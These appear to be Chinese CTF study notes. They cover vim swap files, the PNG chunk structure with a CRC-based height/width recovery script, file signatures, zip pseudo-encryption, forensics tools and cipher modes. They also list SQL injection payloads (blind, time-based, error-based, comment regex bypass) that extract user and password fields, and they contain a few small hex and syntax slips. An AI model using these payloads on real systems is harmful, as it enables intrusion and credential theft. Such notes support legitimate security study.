ctf 学习笔记

vi编辑文件意外退出后保存的文件

首次意外退出 .xxx.swp

第二次意外 .xxx.swo

第三次意外 .xxx.swn

其他格式 *.un.xxx.swp

布尔盲注

id=1' and select(mid((select concat(user,0x7e,pwd) from wp_user),2,1))='d'%23

时间盲注

id=1' and sleep(1)%23

报错注入

id=1' or updatexml(1, concat(0x7e, (select pwd from wp_user)), 1)%23

堆叠注入

闭合后,执行任意语句

内联注释 正则绕过

/*! 50000select*/ 绕过正则 \bselect\b 的过滤

PNG 文件格式

IHDR 文件头数据块

PLTE 调色板数据块

IDAT 图像数据块

IEND 图像结束数据块

每个数据块 由以下四部分组成

Length 长度

Chunk Type Code 数据块类型码

Chunk Data 数据块数据

CRC 循环冗余校验码

文件头

89 50 4E 47 => \x89PNG

00 00 00 0D => 数据块长度为13

49 48 44 52 => IHDR

00 00 00 C8 => 图像宽度 \0xd8 = 200

00 00 00 96 => 图像高度 \0x96 = 150

08 => 色深 2^8 = 256色

03 => 索引图像

00 => 使用Deflate压缩编码压缩图像数据

00 => 预留

00 => 非隔行扫描

AC 02 37 2B => CRC

文件尾

00 00 00 00 IEND数据块长度

49 45 4E 44 b'IEND'

AE 42 60 82 CRC标识

根据CRC校验值, 恢复png图片的高/宽

import os

import binascii

import struct

# 文件的第12~29字节为chunk[0],其中16~19字节为宽,20~23字节为高。(不要忘记0)

misc = open("flag.png","rb").read()

for i in range(1024):

# 宽是对的,修复高

data = misc[12:20] + struct.pack('>i',i) + misc[24:29]

# 高是对的,修复宽

# data = misc[12:16] + struct.pack('>i', i) + misc[24:29]

crc32 = binascii.crc32(data) & 0xffffffff

if crc32 == int(''.join(format(byte, '02x') for byte in bytearray(misc[29:33])), 16):

print(i)

print("hex:", hex(i)) #转为16进制

其他文件格式

JPEG (jpg/jpeg): 文件头 FF D8 FF 文件尾 FF D9

GIF (gif): 文件头 47 49 46 38 => b'GIF8' 文件尾 00 3B

ZIP Archive (zip): 文件头 50 4B 03 04 文件尾 50 4B

RAR Archive (rar): 文件头 52 61 72 21

Wave (wav): 文件头 57 41 56 45

AVI (avi): 文件头 41 56 49 20

MPEG (mpg): 文件头 00 00 01 BA

MPEG (mpg): 文件头 00 00 01 B3

Quicktime (mov): 文件头 6D 6F 6F 76

zip伪加密破解

找到倒数第二个50 4B,以此为基准点,往后找到第一个09 00,将09改为00,保存。

图片频域盲水印

# 合成盲水印图

python3.11 blind_water_mark.py encode raw.png wm.png raw_with_wm.png

# 提取盲水印(需要原图)

python3.11 blind_water_mark.py decode raw.png raw_with_wm.png wm_from_raw.png

压缩包加密

# 暴力破解工具

brew install fcrackzip

# zip伪加密

修改控制加密的字节来控制

取证技术

流量分析

tcpdump / tshark / wireshark

tshark -r xxx.pcapng -T fields -e usb.capdata

内存取证工具 volatility

磁盘取证步骤

file xxx

fdisk -l

mount 挂载磁盘

分组加密 5种模式

ECB 电子密码本:每个明文块独立加密成密文块,明文长度不是分组长度的整数倍,则需要填充。

CBC 密码分组链接:每个明文块先与前一个密文块进行异或后再加密,第一个块中需要使用iv。

OFB 输出反馈:将块密码变成同步的流密码,将之前一次的加密结果使用密钥再次进行加密(第1次对iv进行加密),产生的块作为密钥流,然后将其与明文进行异或,得到密文。

CFB 密文反馈:类似OFB,只不过将上一组的密文作为下一组的输入来加密进行反馈。

CTR模式 计数模式:与OFB类似,CTR将块密码变为流密码,通过递增一个加密计数器来产生连续的密钥流。

xxxx